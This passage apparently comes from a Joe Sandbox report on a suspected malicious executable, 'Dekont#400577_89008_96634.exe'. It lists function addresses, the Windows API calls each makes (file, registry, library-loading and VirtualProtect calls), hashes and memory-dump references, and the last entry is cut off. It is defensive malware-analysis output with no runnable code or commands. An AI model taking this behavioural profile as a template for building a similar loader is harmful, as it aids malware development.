Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 617476a9b03e2e3b578eb78f908950f70b0d6d950c3ab7fb2a5afb69e4064c5d
Instruction ID: 85a5e790261a6a1b6dedd729f081e1fb82c2b0bf937f90b5091167455713ef2b
Opcode Fuzzy Hash: 617476a9b03e2e3b578eb78f908950f70b0d6d950c3ab7fb2a5afb69e4064c5d
Instruction Fuzzy Hash: 5AF06232A00120ABDB10AFA89A4DAAE73A5AF44314F16043FE651B71C1DAFC5D01563D

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: ba2a3c5e5c5e776cdf5630d67b2c53ff1ecd8db0fb1778bda333e84ab02891b0
Instruction ID: 5d2b838fc97348560faaf82546316e7c29db3ee13ca796b15ebd5141c346d58e
Opcode Fuzzy Hash: ba2a3c5e5c5e776cdf5630d67b2c53ff1ecd8db0fb1778bda333e84ab02891b0
Instruction Fuzzy Hash: 6FE09A32A042009FD704EFA4AE484AEB3B4EB90325B20097FE401F20C1CBB85C008A2D

Function 00406806 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
GetProcAddress.KERNEL32(00000000,?), ref: 00406833

Part of subcall function 00406796: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004067AD
Part of subcall function 00406796: wsprintfW.USER32 ref: 004067E8
Part of subcall function 00406796: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067FC

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 04b739db586b670126c7119b566f03dd1efc4ec82adb23a6bbf3e60323b3d7ce
Instruction ID: c5f632ab0fd527bf8e68b4786b10832766149758e6d8e51d9ba55f9b7eb13659
Opcode Fuzzy Hash: 04b739db586b670126c7119b566f03dd1efc4ec82adb23a6bbf3e60323b3d7ce
Instruction Fuzzy Hash: 30E0863350421056E211AA746E44C7B77A89F99750307843EF956F2080D738DC359679

Function 00405F07 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15

Function 00405EE2 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405AE7,?,?,00000000,00405CBD,?,?,?,?), ref: 00405EE7
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405EFB

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 11a24c4abb36edafbee48cc994cb64d758a4bce1ebd63d049f972be52462095a
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: C7D0C9725045316BC2102728AF0889BBB55EB643717054A35F9A5A22B0CB314C528A98

Function 004059C5 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004034B8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 004059CB
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 004059D9

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction ID: 1e5fcd6d8aa83e7c3539c134ce858d200345c8ad9b438ef6e258ac5dd368824a
Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction Fuzzy Hash: 27C04C71204541EEE6505B20AE09B177A909B50751F26843A6147F01A0DA388455E93D

Function 6FDC2AF8 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 6FDC2BB7

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 22cf955875d161c71562c17e34a6e36099e5f990ef77c53f5aae63779cde3389
Instruction ID: a4aed6bcfdf0274a0d698000c7ccc9bbd228c12b873614fb3a8d0d21112f1db1
Opcode Fuzzy Hash: 22cf955875d161c71562c17e34a6e36099e5f990ef77c53f5aae63779cde3389
Instruction Fuzzy Hash: BC41DF72400701DFEB60CFA8CA80B5E377DFB0632EF249465E505CB190C734B550ABA6

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: b0fff4f7d9f0c8c4e53b92ad7996c7cf9495e9d5390423736948b2db19d58f54
Instruction ID: fcc600a422b8a42da4105bc5b3b2554e42f689db638891b56f5b1ccf785cbf50
Opcode Fuzzy Hash: b0fff4f7d9f0c8c4e53b92ad7996c7cf9495e9d5390423736948b2db19d58f54
Instruction Fuzzy Hash: 0AF0B431608114A6CB10AFB68F0DD9F33609F52338F250A3FF421B21D1E6FC8941556E

Function 004023AA Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004023E1

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 84911039e741b8054182bf8c56606a22799472c4c6cd86ceafd7de9864a58810
Instruction ID: 2036f094aef4cf8fcdd3ce51ebd23e93268b82f075a1b79732874c3119e34eec
Opcode Fuzzy Hash: 84911039e741b8054182bf8c56606a22799472c4c6cd86ceafd7de9864a58810
Instruction Fuzzy Hash: 30E086319001246ADB303AF15E8DEBF21586F44345B14093FFA12B62C2DAFC0C42467D

Function 004062AC Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402DEF,00000000,?,?), ref: 004062D5

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction ID: 3317d7e482e8079663a6db4a97809581e22c1b07b88153a27e00a08cc0e2c803
Opcode Fuzzy Hash: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction Fuzzy Hash: 52E0ECB2020109BEEF19AF90DD1ADBB371DEB04350F01492EF916E4091E6B5A930AA74

Function 00405F8A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,0040347A,00000000,00000000,0040329E,?,00000004,00000000,00000000,00000000), ref: 00405F9E

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: f93b0abb86e743badb4163669300e0f642a0e5fa5e5e92c65fa389833edf0ca2
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: D7E08C3220121AEBEF11AE618C04EEBBB6CFF01360F004832F910E6240D238E8218BA4

Function 00405FB9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403430,000000FF,0041EA20,?,0041EA20,?,?,00000004,00000000), ref: 00405FCD

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: c6b158df49e6f5968e08b93a39371abef257cf80c9060b8b5a86bf4d0676d75d
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 1FE0EC3225065AABDF109E669C04EEB7B6CEB053A0F004837FA55E3190D635E821DBA4

Function 6FDC29DF Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6FDC505C,00000004,00000040,6FDC504C), ref: 6FDC29FD

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b4ab23cc9ed986b84d7f48d75c156a92603c71cba0de12c014136c4d47e72b34
Instruction ID: 636ebcde1dfa674df7dec4c1157d7c03efc12da88f2429cc72f18cca36852106
Opcode Fuzzy Hash: b4ab23cc9ed986b84d7f48d75c156a92603c71cba0de12c014136c4d47e72b34
Instruction Fuzzy Hash: 65F0ACB1544B82DEEB90CF2C84447053BF8B71A325B9B45AAE149D6240E3347064FB95

Function 004023EC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040241D

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: f55628d4b7fc1c3702899dee1337003f381c7036a296fbc4314416ebe8ce5134
Instruction ID: 84a3be15b77accaad8f92e5f77cb7225a0a8ac318d6267ea73d07213f2db240d
Opcode Fuzzy Hash: f55628d4b7fc1c3702899dee1337003f381c7036a296fbc4314416ebe8ce5134
Instruction Fuzzy Hash: D3E04F30800219AADB00AFA0CE09EAE3769BF00300F10093AF520BB0D1E7FC89409749

Function 0040627E Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,0042C248,?,?,0040630C,0042C248,00000000,?,?,Call,?), ref: 004062A2

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: 30c71471ac55a0486040fafebf39dce1c160f5eedd86b0188f7d98683811911a
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: 45D0123254020DBBEF11AF90ED01FAB375DAB08351F01442AFE16A4091D775D530A724

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6b1ab73fd8eff285d918823dc1170c24360cfb5c9671e6d3e0b8c01c80aedfbb
Instruction ID: a93de1ea602b80332484b308aebd2b3b1e31a5c4c7fa674852030dd18b7254c5
Opcode Fuzzy Hash: 6b1ab73fd8eff285d918823dc1170c24360cfb5c9671e6d3e0b8c01c80aedfbb
